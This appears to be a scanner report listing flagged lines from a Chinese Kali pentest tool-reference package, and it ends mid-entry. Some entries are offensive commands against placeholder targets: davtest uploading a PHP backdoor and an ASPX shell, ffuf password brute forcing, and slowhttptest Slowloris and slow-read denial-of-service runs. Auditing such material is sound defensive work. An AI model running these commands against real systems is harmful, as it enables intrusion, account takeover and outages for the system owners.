  • Network accessline 65
    - [CRLFuzz(GitHub)](https://github.com/dwisiswant0/crlfuzz)
  • Network accessline 66
    - [Kali crlfuzz](https://www.kali.org/tools/crlfuzz/)

kali-pentest-zh/references/web/tools/dalfox.md

  • Dangerous shell operationline 15
    sudo apt install dalfox
  • Network accessline 20
    # 替代方案:从 GitHub 下载 release 二进制 curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox-linux-amd64.tar.gz | tar xz -C /tmp/ && mv /tmp/dalfox-linux-amd64 /usr/local/bin/dalfox
  • Network accessline 21
    curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox-linux-amd64.tar.gz | tar xz -C /tmp/ && mv /tmp/dalfox-linux-amd64 /usr/local/bin/dalfox
  • Network accessline 51
    # 基础 XSS 扫描 dalfox url http://target.com/search?q=test
  • Network accessline 52
    dalfox url http://target.com/search?q=test
  • Network accessline 54
    # POST 参数 dalfox url http://target.com/search --data "q=test&page=1"
  • Network accessline 55
    dalfox url http://target.com/search --data "q=test&page=1"
  • Network accessline 57
    # 带 Cookie dalfox url http://target.com/ -C "session=abc123"
  • Network accessline 58
    dalfox url http://target.com/ -C "session=abc123"
  • Network accessline 63
    # 管道输入 echo "http://target.com/search?q=test" | dalfox pipe
  • Network accessline 64
    echo "http://target.com/search?q=test" | dalfox pipe
  • Network accessline 69
    # 使用代理 dalfox url http://target.com/search?q=test --proxy http://127.0.0.1:8080
  • Network accessline 70
    dalfox url http://target.com/search?q=test --proxy http://127.0.0.1:8080
  • Network accessline 72
    # 指定 payload dalfox url http://target.com/ --custom-payload /tmp/xss_payloads.txt
  • Network accessline 73
    dalfox url http://target.com/ --custom-payload /tmp/xss_payloads.txt
  • Network accessline 75
    # 输出 JSON dalfox url http://target.com/search?q=test --format json -o /tmp/xss_results.json
  • Network accessline 76
    dalfox url http://target.com/search?q=test --format json -o /tmp/xss_results.json
  • Network accessline 92
    - [dalfox GitHub](https://github.com/hahwul/dalfox)
  • Network accessline 93
    - [dalfox 文档](https://dalfox.hahwul.com/page/overview/)

kali-pentest-zh/references/web/tools/davtest.md

  • Dangerous shell operationline 17
    sudo apt install davtest
  • Network accessline 42
    # 基础 WebDAV 测试——上传测试文件并检查执行情况 davtest -url http://target.com/webdav/
  • Network accessline 43
    davtest -url http://target.com/webdav/
  • Network accessline 45
    # 认证 WebDAV 测试 davtest -url http://target.com/webdav/ -auth admin:password
  • Network accessline 46
    davtest -url http://target.com/webdav/ -auth admin:password
  • Network accessline 48
    # 测试后清理(测试完成后删除上传的文件) davtest -url http://target.com/webdav/ -cleanup
  • Network accessline 49
    davtest -url http://target.com/webdav/ -cleanup
  • Network accessline 51
    # 确认 PHP 可执行后发送 PHP 后门 davtest -url http://target.com/webdav/ -sendbd php
  • Network accessline 52
    davtest -url http://target.com/webdav/ -sendbd php
  • Network accessline 54
    # 测试 MOVE 方法(绕过扩展名过滤) davtest -url http://target.com/webdav/ -move
  • Network accessline 55
    davtest -url http://target.com/webdav/ -move
  • Network accessline 57
    # 将指定文件上传到目标位置 davtest -url http://target.com/webdav/ -uploadfile /tmp/shell.aspx -uploadloc shell.aspx
  • Network accessline 58
    davtest -url http://target.com/webdav/ -uploadfile /tmp/shell.aspx -uploadloc shell.aspx
  • Network accessline 60
    # 在指定远程目录中使用自定义前缀测试 davtest -url http://target.com/webdav/ -directory uploads -rand testfile
  • Network accessline 61
    davtest -url http://target.com/webdav/ -directory uploads -rand testfile
  • Network accessline 63
    # 静默模式——仅输出摘要 davtest -url http://target.com/webdav/ -cleanup -quiet
  • Network accessline 64
    davtest -url http://target.com/webdav/ -cleanup -quiet
  • Network accessline 81
    - [davtest GitHub](https://github.com/cldrn/davtest)
  • Network accessline 82
    - [Kali davtest](https://www.kali.org/tools/davtest/)

kali-pentest-zh/references/web/tools/dirb.md

  • Dangerous shell operationline 15
    sudo apt install dirb -y
  • Network accessline 25
    | `-z <ms>` | 添加毫秒级延迟以避免过度洪泛 | | `-a <agent>` | 自定义 User-Agent 字符串 | | `-p <proxy>` | 使用代理(`http://host:port`) |
  • Network accessline 26
    | `-a <agent>` | 自定义 User-Agent 字符串 | | `-p <proxy>` | 使用代理(`http://host:port`) | | `-c <cookie>` | 为 HTTP 请求设置 Cookie |
  • Network accessline 27
    | `-p <proxy>` | 使用代理(`http://host:port`) |
  • Network accessline 46
    # 使用默认字典扫描 dirb http://target.com
  • Network accessline 47
    dirb http://target.com
  • Network accessline 49
    # 使用自定义字典扫描 dirb http://target.com /usr/share/wordlists/dirb/big.txt
  • Network accessline 50
    dirb http://target.com /usr/share/wordlists/dirb/big.txt
  • Network accessline 56
    # 扫描特定文件扩展名 dirb http://target.com -X .php,.html,.txt
  • Network accessline 57
    dirb http://target.com -X .php,.html,.txt
  • Network accessline 59
    # 扫描备份和敏感文件 dirb http://target.com -X .bak,.old,.zip,.sql,.conf
  • Network accessline 60
    dirb http://target.com -X .bak,.old,.zip,.sql,.conf
  • Network accessline 66
    # 通过 Burp Suite 路由 dirb http://target.com -p http://127.0.0.1:8080
  • Network accessline 67
    dirb http://target.com -p http://127.0.0.1:8080
  • Network accessline 73
    [Credential-related source omitted]
  • Network accessline 74
    [Credential-related source omitted]
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 77
    [Credential-related source omitted]
  • Network accessline 79
    # HTTP 基础认证 dirb http://target.com -u admin:password123
  • Network accessline 80
    dirb http://target.com -u admin:password123
  • Network accessline 86
    # 禁用递归并添加延迟以避免触发限速 dirb http://target.com -r -z 100
  • Network accessline 87
    dirb http://target.com -r -z 100
  • Network accessline 93
    # 完整扫描带扩展名,保存结果 dirb http://target.com /usr/share/wordlists/dirb/common.txt \
  • Network accessline 94
    dirb http://target.com /usr/share/wordlists/dirb/common.txt \
  • Network accessline 102
    # 减少输出噪声并设置自定义 User-Agent dirb http://target.com -S -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  • Network accessline 103
    dirb http://target.com -S -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  • Network accessline 118
    - [dirb SourceForge](https://dirb.sourceforge.net/)
  • Network accessline 119
    - [Kali Tools - dirb](https://www.kali.org/tools/dirb/)

kali-pentest-zh/references/web/tools/dirsearch.md

  • Dangerous shell operationline 15
    sudo apt install dirsearch
  • Network accessline 53
    # 使用常见扩展名进行基础扫描 dirsearch -u http://example.com -e php,html,js
  • Network accessline 54
    dirsearch -u http://example.com -e php,html,js
  • Network accessline 56
    # 递归扫描 dirsearch -u http://example.com -e php -r
  • Network accessline 57
    dirsearch -u http://example.com -e php -r
  • Network accessline 59
    # 将结果保存为 JSON dirsearch -u http://example.com -e php,html --format json -o results.json
  • Network accessline 60
    dirsearch -u http://example.com -e php,html --format json -o results.json
  • Network accessline 62
    # 使用自定义词表 dirsearch -u http://example.com -w /usr/share/wordlists/dirb/big.txt
  • Network accessline 63
    dirsearch -u http://example.com -w /usr/share/wordlists/dirb/big.txt
  • Network accessline 65
    # 排除 404 和 403 响应 dirsearch -u http://example.com -e php -x 404,403
  • Network accessline 66
    dirsearch -u http://example.com -e php -x 404,403
  • Network accessline 68
    [Credential-related source omitted]
  • Network accessline 69
    [Credential-related source omitted]
  • Network accessline 71
    # 通过 Burp Suite 代理路由流量 dirsearch -u http://example.com -e php --proxy http://127.0.0.1:8080
  • Network accessline 72
    dirsearch -u http://example.com -e php --proxy http://127.0.0.1:8080
  • Network accessline 74
    # 增加线程数以提升速度 dirsearch -u http://example.com -e php -t 50
  • Network accessline 75
    dirsearch -u http://example.com -e php -t 50
  • Network accessline 90
    - [dirsearch (GitHub)](https://github.com/maurosoria/dirsearch)
  • Network accessline 91
    - [Kali dirsearch](https://www.kali.org/tools/dirsearch/)

kali-pentest-zh/references/web/tools/feroxbuster.md

  • Dangerous shell operationline 15
    sudo apt install feroxbuster
  • Network accessline 44
    # 基础扫描 feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 45
    feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 47
    # 指定扩展名 feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip
  • Network accessline 48
    feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip
  • Network accessline 50
    # HTTPS(忽略证书) feroxbuster -u https://target.com -w wordlist.txt -k
  • Network accessline 51
    feroxbuster -u https://target.com -w wordlist.txt -k
  • Network accessline 53
    # 限制递归深度 feroxbuster -u http://target.com -w wordlist.txt -d 2
  • Network accessline 54
    feroxbuster -u http://target.com -w wordlist.txt -d 2
  • Network accessline 56
    # 过滤 404 和 403 feroxbuster -u http://target.com -w wordlist.txt -C 404,403
  • Network accessline 57
    feroxbuster -u http://target.com -w wordlist.txt -C 404,403
  • Network accessline 59
    [Credential-related source omitted]
  • Network accessline 60
    [Credential-related source omitted]
  • Network accessline 61
    feroxbuster -u http://target.com -w wordlist.txt -b "session=abc123"
  • Network accessline 63
    # 输出到文件 feroxbuster -u http://target.com -w wordlist.txt -o /tmp/ferox_results.txt
  • Network accessline 64
    feroxbuster -u http://target.com -w wordlist.txt -o /tmp/ferox_results.txt
  • Network accessline 66
    # 限速(防触发 WAF) feroxbuster -u http://target.com -w wordlist.txt --rate-limit 100
  • Network accessline 67
    feroxbuster -u http://target.com -w wordlist.txt --rate-limit 100
  • Network accessline 69
    # 使用代理 feroxbuster -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080
  • Network accessline 70
    feroxbuster -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080
  • Network accessline 85
    - [feroxbuster GitHub](https://github.com/epi052/feroxbuster)
  • Network accessline 86
    - [feroxbuster 文档](https://epi052.github.io/feroxbuster-docs/overview/)

kali-pentest-zh/references/web/tools/ffuf.md

  • Network accessline 100
    # 最简单用法 ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 101
    ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 103
    # 50线程,过滤 404 ffuf -u http://target.com/FUZZ \
  • Network accessline 104
    ffuf -u http://target.com/FUZZ \
  • Network accessline 112
    # 用两个 FUZZ 关键词(需要指定不同变量名) ffuf -u http://target.com/FUZZ.EXT \
  • Network accessline 113
    ffuf -u http://target.com/FUZZ.EXT \
  • Network accessline 118
    # 常用:固定扩展名 ffuf -u "http://target.com/FUZZ" \
  • Network accessline 119
    ffuf -u "http://target.com/FUZZ" \
  • Network accessline 127
    # -ac 自动检测响应规律并过滤误报 ffuf -u http://target.com/FUZZ \
  • Network accessline 128
    ffuf -u http://target.com/FUZZ \
  • Network accessline 132
    # 按响应大小过滤(先运行一次找到默认大小再过滤) ffuf -u http://target.com/FUZZ \
  • Network accessline 133
    ffuf -u http://target.com/FUZZ \
  • Network accessline 141
    # GET 参数名枚举 ffuf -u "http://target.com/page.php?FUZZ=test" \
  • Network accessline 142
    ffuf -u "http://target.com/page.php?FUZZ=test" \
  • Network accessline 146
    # POST 参数枚举 ffuf -u http://target.com/login.php \
  • Network accessline 147
    ffuf -u http://target.com/login.php \
  • Network accessline 153
    # 参数值 fuzzing(已知参数名) ffuf -u "http://target.com/page.php?id=FUZZ" \
  • Network accessline 154
    ffuf -u "http://target.com/page.php?id=FUZZ" \
  • Network accessline 161
    # 基于 DNS 的子域名爆破:对 URL 中的主机名进行 FUZZ(DNS 需解析每个子域) ffuf -u http://FUZZ.target.com \
  • Network accessline 162
    ffuf -u http://FUZZ.target.com \
  • Network accessline 172
    ffuf -u http://10.10.10.10 \
  • Network accessline 181
    # 用户名枚举(测试哪些用户名存在) ffuf -u http://target.com/login.php \
  • Network accessline 182
    ffuf -u http://target.com/login.php \
  • Network accessline 189
    # 密码暴力破解 ffuf -u http://target.com/login.php \
  • Network accessline 190
    ffuf -u http://target.com/login.php \
  • Network accessline 201
    ffuf -u http://target.com/FUZZ \
  • Network accessline 220
    ffuf -u http://target.com/FUZZ \
  • Network accessline 241
    - [ffuf GitHub](https://github.com/ffuf/ffuf)

kali-pentest-zh/references/web/tools/gitleaks.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install gitleaks
  • Network accessline 79
    - [Gitleaks GitHub](https://github.com/gitleaks/gitleaks)
  • Network accessline 80
    - [Gitleaks Website](https://gitleaks.io/)
  • Network accessline 81
    - [Kali gitleaks](https://www.kali.org/tools/gitleaks/)

kali-pentest-zh/references/web/tools/gobuster.md

  • Network accessline 125
    # 使用 common.txt 字典扫描 gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 126
    gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 128
    # 多线程加速(50线程) gobuster dir -u http://target.com \
  • Network accessline 129
    gobuster dir -u http://target.com \
  • Network accessline 133
    # 显示完整 URL gobuster dir -u http://target.com \
  • Network accessline 134
    gobuster dir -u http://target.com \
  • Network accessline 142
    # 枚举 PHP 和 HTML 文件 gobuster dir -u http://target.com \
  • Network accessline 143
    gobuster dir -u http://target.com \
  • Network accessline 147
    # 枚举备份文件 gobuster dir -u http://target.com \
  • Network accessline 148
    gobuster dir -u http://target.com \
  • Network accessline 156
    # Cookie 认证 gobuster dir -u http://target.com/admin \
  • Network accessline 157
    gobuster dir -u http://target.com/admin \
  • Network accessline 161
    # HTTP 基础认证 gobuster dir -u http://target.com/admin \
  • Network accessline 162
    gobuster dir -u http://target.com/admin \
  • Network accessline 166
    # 自定义 Header(Bearer Token) gobuster dir -u http://target.com/api \
  • Network accessline 167
    gobuster dir -u http://target.com/api \
  • Network accessline 175
    # 只显示 200 响应 gobuster dir -u http://target.com \
  • Network accessline 176
    gobuster dir -u http://target.com \
  • Network accessline 180
    # 排除 403 和 404(黑名单;若已设置则覆盖 --status-codes) gobuster dir -u http://target.com \
  • Network accessline 181
    gobuster dir -u http://target.com \
  • Network accessline 207
    gobuster vhost -u http://10.10.10.10 \
  • Network accessline 211
    # 排除特定响应长度(过滤默认页面) gobuster vhost -u http://10.10.10.10 \
  • Network accessline 212
    gobuster vhost -u http://10.10.10.10 \
  • Network accessline 220
    gobuster dir -u https://target.com \
  • Network accessline 221
    -w /usr/share/wordlists/dirb/common.txt \   --proxy http://127.0.0.1:8080 \   --no-tls-validation
  • Network accessline 222
    --proxy http://127.0.0.1:8080 \
  • Network accessline 229
    gobuster dir -u http://target.com \
  • Network accessline 248
    - [gobuster GitHub](https://github.com/OJ/gobuster)

kali-pentest-zh/references/web/tools/gospider.md

  • Dangerous shell operationline 15
    sudo apt install gospider
  • Network accessline 39
    # 基础爬取单个站点 gospider -s http://example.com
  • Network accessline 40
    gospider -s http://example.com
  • Network accessline 42
    # 深度 3 并含 sitemap 和 robots gospider -s http://example.com -d 3 --sitemap --robots
  • Network accessline 43
    gospider -s http://example.com -d 3 --sitemap --robots
  • Network accessline 45
    # 包含外部来源历史 URL gospider -s http://example.com --other-source
  • Network accessline 46
    gospider -s http://example.com --other-source
  • Network accessline 51
    # 保存输出到目录 gospider -s http://example.com -o ./results
  • Network accessline 52
    gospider -s http://example.com -o ./results
  • Network accessline 54
    # 通过 Burp Suite 代理路由 gospider -s http://example.com --proxy http://127.0.0.1:8080 -d 2
  • Network accessline 55
    gospider -s http://example.com --proxy http://127.0.0.1:8080 -d 2
  • Network accessline 70
    - [gospider(GitHub)](https://github.com/jaeles-project/gospider)
  • Network accessline 71
    - [Kali gospider](https://www.kali.org/tools/gospider/)

kali-pentest-zh/references/web/tools/graphw00f.md

  • Network accessline 15
    # Kali 已预装于 /opt/graphw00f # 或手动安装: git clone https://github.com/dolevf/graphw00f.git
  • Network accessline 16
    # 或手动安装: git clone https://github.com/dolevf/graphw00f.git cd graphw00f
  • Network accessline 17
    git clone https://github.com/dolevf/graphw00f.git
  • Network accessline 42
    # 识别 GraphQL 端点指纹 python3 /opt/graphw00f/main.py -f -t https://target/graphql
  • Network accessline 43
    python3 /opt/graphw00f/main.py -f -t https://target/graphql
  • Network accessline 45
    # 检测模式 — 扫描 GraphQL 端点 python3 /opt/graphw00f/main.py -d -t https://target/graphql
  • Network accessline 46
    python3 /opt/graphw00f/main.py -d -t https://target/graphql
  • Network accessline 48
    # 通过代理并设置超时进行指纹识别 python3 /opt/graphw00f/main.py -f -t https://target/graphql -p http://127.0.0.1:8080 -T 10
  • Network accessline 49
    python3 /opt/graphw00f/main.py -f -t https://target/graphql -p http://127.0.0.1:8080 -T 10
  • Network accessline 65
    - [graphw00f GitHub](https://github.com/dolevf/graphw00f)

kali-pentest-zh/references/web/tools/grpcurl.md

  • Network accessline 75
    - [grpcurl GitHub](https://github.com/fullstorydev/grpcurl)

kali-pentest-zh/references/web/tools/joomscan.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install joomscan
  • Network accessline 39
    # 基础 Joomla 扫描 joomscan -u https://target.com/
  • Network accessline 40
    joomscan -u https://target.com/
  • Network accessline 42
    # 枚举 Joomla 组件 joomscan -u https://target.com/ --enumerate-components
  • Network accessline 43
    joomscan -u https://target.com/ --enumerate-components
  • Network accessline 45
    # 使用 cookie 进行认证态或会话感知扫描 joomscan -u https://target.com/ --cookie "PHPSESSID=value; other=value"
  • Network accessline 46
    joomscan -u https://target.com/ --cookie "PHPSESSID=value; other=value"
  • Network accessline 48
    # 使用自定义 User-Agent joomscan -u https://target.com/ -a "Mozilla/5.0"
  • Network accessline 49
    joomscan -u https://target.com/ -a "Mozilla/5.0"
  • Network accessline 51
    # 随机 User-Agent 并设置超时 joomscan -u https://target.com/ --random-agent --timeout 20
  • Network accessline 52
    joomscan -u https://target.com/ --random-agent --timeout 20
  • Network accessline 54
    # 将流量路由到拦截代理 joomscan -u https://target.com/ --proxy http://127.0.0.1:8080
  • Network accessline 55
    joomscan -u https://target.com/ --proxy http://127.0.0.1:8080
  • Dangerous shell operationline 58
    sudo apt update && sudo apt install --only-upgrade joomscan
  • Network accessline 77
    - [OWASP JoomScan GitHub](https://github.com/OWASP/joomscan)
  • Network accessline 78
    - [Kali joomscan](https://www.kali.org/tools/joomscan/)

kali-pentest-zh/references/web/tools/jwt_tool.md

  • Network accessline 18
    # 或从 GitHub 安装: git clone https://github.com/ticarpi/jwt_tool.git
  • Network accessline 19
    git clone https://github.com/ticarpi/jwt_tool.git
  • Network accessline 48
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 79
    - [jwt_tool(GitHub)](https://github.com/ticarpi/jwt_tool)

kali-pentest-zh/references/web/tools/katana.md

  • Dangerous shell operationline 16
    sudo apt install katana
  • Network accessline 66
    # 爬取单个 Web 目标 katana -u https://target.com -d 3 -silent -o /tmp/katana-urls.txt
  • Network accessline 67
    katana -u https://target.com -d 3 -silent -o /tmp/katana-urls.txt
  • Network accessline 72
    # 解析 JavaScript 和已知文件 katana -u https://target.com -d 3 -jc -kf all -silent -o /tmp/katana-js.txt
  • Network accessline 73
    katana -u https://target.com -d 3 -jc -kf all -silent -o /tmp/katana-js.txt
  • Network accessline 75
    # JSONL 输出并提取表单,便于 Agent 解析 katana -u https://target.com -d 3 -fx -j -o /tmp/katana.jsonl
  • Network accessline 76
    katana -u https://target.com -d 3 -fx -j -o /tmp/katana.jsonl
  • Network accessline 78
    # 针对 JavaScript 较重的应用进行无头爬取 katana -u https://app.target.com -headless -system-chrome -no-sandbox -d 2 -j -o /tmp/katana-headless.jsonl
  • Network accessline 79
    katana -u https://app.target.com -headless -system-chrome -no-sandbox -d 2 -j -o /tmp/katana-headless.jsonl
  • Network accessline 81
    # 将爬取限制在明确范围内 katana -u https://target.com -fs fqdn -cos logout -d 3 -silent
  • Network accessline 82
    katana -u https://target.com -fs fqdn -cos logout -d 3 -silent
  • Network accessline 84
    # 通过拦截代理爬取 katana -u https://target.com -proxy http://127.0.0.1:8080 -d 2 -j -o /tmp/katana-proxy.jsonl
  • Network accessline 85
    katana -u https://target.com -proxy http://127.0.0.1:8080 -d 2 -j -o /tmp/katana-proxy.jsonl
  • Network accessline 103
    - [Katana Documentation](https://docs.projectdiscovery.io/tools/katana/overview)
  • Network accessline 104
    - [Katana GitHub](https://github.com/projectdiscovery/katana)

kali-pentest-zh/references/web/tools/kiterunner.md

  • Network accessline 15
    # 从官方仓库下载适配你架构的最新 release binary # (release 以 kr-linux-amd64 / kr-linux-arm64 等形式发布——匹配你的平台) curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr
  • Network accessline 16
    # (release 以 kr-linux-amd64 / kr-linux-arm64 等形式发布——匹配你的平台) curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr chmod +x kr
  • Network accessline 17
    curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr
  • Dangerous shell operationline 19
    sudo mv kr /usr/local/bin/
  • Network accessline 58
    # 扫描单个 API base URL echo https://target/api | kr scan - -w <api_wordlist.kite>
  • Network accessline 59
    echo https://target/api | kr scan - -w <api_wordlist.kite>
  • Network accessline 61
    # 使用纯文本词表爆破 kr brute https://target/api -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 62
    kr brute https://target/api -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 81
    - [Kiterunner GitHub](https://github.com/assetnote/kiterunner)

kali-pentest-zh/references/web/tools/mitmproxy.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install mitmproxy
  • Network accessline 52
    # 通过代理发送单个 curl 请求
  • Network accessline 53
    curl -x http://127.0.0.1:8080 -k https://target.com/
  • Network accessline 66
    # 重放所有捕获的客户端请求 mitmdump -nC /tmp/flows.mitm -w /tmp/replay-result.mitm
  • Network accessline 67
    mitmdump -nC /tmp/flows.mitm -w /tmp/replay-result.mitm
  • Network accessline 72
    # 位于目标服务前方的反向代理模式 mitmdump --mode reverse:https://target.com \
  • Network accessline 73
    mitmdump --mode reverse:https://target.com \
  • Network accessline 111
    sqlmap -u "https://api.example.com/v3/users/1" \
  • Network accessline 112
    --proxy=http://127.0.0.1:8080 --level=5 --risk=3
  • Network accessline 114
    ffuf -u "https://api.example.com/v3/FUZZ" \
  • Network accessline 115
    -x http://127.0.0.1:8080 -w /usr/share/wordlists/api-routes.txt
  • Network accessline 117
    dalfox url "https://api.example.com/v3/users/self" \
  • Network accessline 118
    --proxy http://127.0.0.1:8080
  • Network accessline 125
    1. 无人值守的 Agent 运行应使用 `mitmdump`,而不是交互式 `mitmproxy` UI。 2. 客户端必须信任 mitmproxy CA 证书才能拦截 TLS;交互式测试环境中可通过代理访问 `http://mitm.it` 安装证书。
  • Network accessline 126
    2. 客户端必须信任 mitmproxy CA 证书才能拦截 TLS;交互式测试环境中可通过代理访问 `http://mitm.it` 安装证书。
  • Network accessline 138
    - [mitmproxy Documentation](https://docs.mitmproxy.org/stable/)
  • Network accessline 139
    - [mitmproxy Getting Started](https://docs.mitmproxy.org/stable/overview/getting-started/)
  • Network accessline 140
    - [mitmproxy Options](https://docs.mitmproxy.org/stable/concepts/options/)
  • Network accessline 141
    - [mitmproxy Proxy Modes](https://docs.mitmproxy.org/stable/concepts/modes/)
  • Network accessline 142
    - [mitmproxy Kali Package](https://www.kali.org/tools/mitmproxy/)

kali-pentest-zh/references/web/tools/mitmproxy2swagger.md

  • Network accessline 34
    # 将 mitmproxy 流量转为 OpenAPI draft mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api
  • Network accessline 35
    mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api
  • Network accessline 37
    # 包含示例 mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e
  • Network accessline 38
    mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e
  • Network accessline 40
    # 在示例中包含请求头 mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e -hd
  • Network accessline 41
    mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e -hd
  • Network accessline 43
    # 明确指定 HAR 格式并抑制原始参数路径 mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -f har -s
  • Network accessline 44
    mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -f har -s
  • Network accessline 46
    # 使用正则表达式将 UUID 路径段参数化 mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api \
  • Network accessline 47
    mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api \
  • Network accessline 61
    - [mitmproxy2swagger GitHub](https://github.com/alufers/mitmproxy2swagger)

kali-pentest-zh/references/web/tools/nikto.md

  • Dangerous shell operationline 15
    sudo apt install nikto
  • Network accessline 92
    # 基础扫描 nikto -h http://target.com
  • Network accessline 93
    nikto -h http://target.com
  • Network accessline 95
    # HTTPS 目标 nikto -h https://target.com -ssl
  • Network accessline 96
    nikto -h https://target.com -ssl
  • Network accessline 113
    # 使用 Burp 代理 nikto -h target.com -useproxy http://127.0.0.1:8080
  • Network accessline 114
    nikto -h target.com -useproxy http://127.0.0.1:8080
  • Network accessline 138
    - [nikto GitHub](https://github.com/sullo/nikto)

kali-pentest-zh/references/web/tools/padbuster.md

  • Dangerous shell operationline 15
    sudo apt install padbuster
  • Network accessline 34
    | `-post <data>` | POST 请求体数据(将请求方法切换为 POST) | | `-prefix <value>` | 添加到每个加密样本前的前缀 | | `-proxy <url>` | HTTP 代理(例如 `http://127.0.0.1:8080`) |
  • Network accessline 35
    | `-prefix <value>` | 添加到每个加密样本前的前缀 | | `-proxy <url>` | HTTP 代理(例如 `http://127.0.0.1:8080`) | | `-verbose` | 显示详细输出,包括 HTTP 响应 |
  • Network accessline 36
    | `-proxy <url>` | HTTP 代理(例如 `http://127.0.0.1:8080`) |
  • Network accessline 42
    [Credential-related source omitted]
  • Network accessline 43
    [Credential-related source omitted]
  • Network accessline 45
    # 通过 -cookies 传入的 cookie 值解密 padbuster http://target.com/profile "" 16 \
  • Network accessline 46
    padbuster http://target.com/profile "" 16 \
  • Network accessline 50
    [Credential-related source omitted]
  • Network accessline 51
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]
  • Network accessline 55
    [Credential-related source omitted]
  • Network accessline 58
    # 使用十六进制编码样本、POST 数据,并通过代理 padbuster http://target.com/login "" 16 \
  • Network accessline 59
    padbuster http://target.com/login "" 16 \
  • Network accessline 60
    [Credential-related source omitted]
  • Network accessline 62
    -proxy http://127.0.0.1:8080
  • Network accessline 64
    [Credential-related source omitted]
  • Network accessline 65
    [Credential-related source omitted]
  • Network accessline 81
    - [PadBuster GitHub](https://github.com/strozfriedberg/PadBuster)
  • Network accessline 82
    - [Kali Tools — padbuster](https://www.kali.org/tools/padbuster/)

kali-pentest-zh/references/web/tools/phpggc.md

  • Dangerous shell operationline 15
    sudo apt install phpggc
  • Network accessline 84
    - [PHPGGC GitHub](https://github.com/ambionics/phpggc)
  • Network accessline 85
    - [Kali Tools — phpggc](https://www.kali.org/tools/phpggc/)

kali-pentest-zh/references/web/tools/schemathesis.md

  • Network accessline 55
    # 使用保守限制运行 OpenAPI 测试 schemathesis run https://target/openapi.json --checks all --rate-limit 5/s --report har --report-dir /tmp/schemathesis
  • Network accessline 56
    schemathesis run https://target/openapi.json --checks all --rate-limit 5/s --report har --report-dir /tmp/schemathesis
  • Network accessline 58
    [Credential-related source omitted]
  • Network accessline 59
    [Credential-related source omitted]
  • Network accessline 61
    # 减少生成用例,进行快速分流 schemathesis run ./openapi.json --url https://target --max-examples 20
  • Network accessline 62
    schemathesis run ./openapi.json --url https://target --max-examples 20
  • Network accessline 64
    # 仅运行 coverage 和 fuzzing 阶段,使用 4 个 worker schemathesis run https://target/openapi.json --phases coverage,fuzzing -w 4
  • Network accessline 65
    schemathesis run https://target/openapi.json --phases coverage,fuzzing -w 4
  • Network accessline 67
    # 等待 schema 可用(CI 中常用) schemathesis run https://target/openapi.json --wait-for-schema 30
  • Network accessline 68
    schemathesis run https://target/openapi.json --wait-for-schema 30
  • Network accessline 81
    - [Schemathesis Documentation](https://schemathesis.readthedocs.io/)
  • Network accessline 82
    - [Schemathesis GitHub](https://github.com/schemathesis/schemathesis)

kali-pentest-zh/references/web/tools/slowhttptest.md

  • Dangerous shell operationline 15
    sudo apt install slowhttptest
  • Network accessline 24
    | `-R` | Range 攻击模式(Apache killer) | | `-X` | 慢速读取模式 | | `-u <URL>` | 目标的绝对 URL(默认:http://localhost/) |
  • Network accessline 25
    | `-X` | 慢速读取模式 | | `-u <URL>` | 目标的绝对 URL(默认:http://localhost/) | | `-c <num>` | 目标连接数(默认:50) |
  • Network accessline 26
    | `-u <URL>` | 目标的绝对 URL(默认:http://localhost/) |
  • Network accessline 51
    # Slowloris 攻击——1000 连接,持续 300 秒 slowhttptest -c 1000 -H -i 10 -r 200 -l 300 \   -u http://target.com/ -t GET -o /tmp/slowloris -g
  • Network accessline 52
    slowhttptest -c 1000 -H -i 10 -r 200 -l 300    -u http://target.com/ -t GET -o /tmp/slowloris -g
  • Network accessline 53
    -u http://target.com/ -t GET -o /tmp/slowloris -g
  • Network accessline 55
    # Slow POST 攻击——缓慢发送请求体 slowhttptest -c 1000 -B -i 110 -r 200 -l 300 \   -s 8192 -u http://target.com/login -t POST \
  • Network accessline 56
    slowhttptest -c 1000 -B -i 110 -r 200 -l 300    -s 8192 -u http://target.com/login -t POST
  • Network accessline 57
    -s 8192 -u http://target.com/login -t POST \
  • Network accessline 60
    # Slow Read 攻击——小接收窗口 slowhttptest -c 1000 -X -r 200 -l 300 \   -u http://target.com/ -o /tmp/slowread -g
  • Network accessline 61
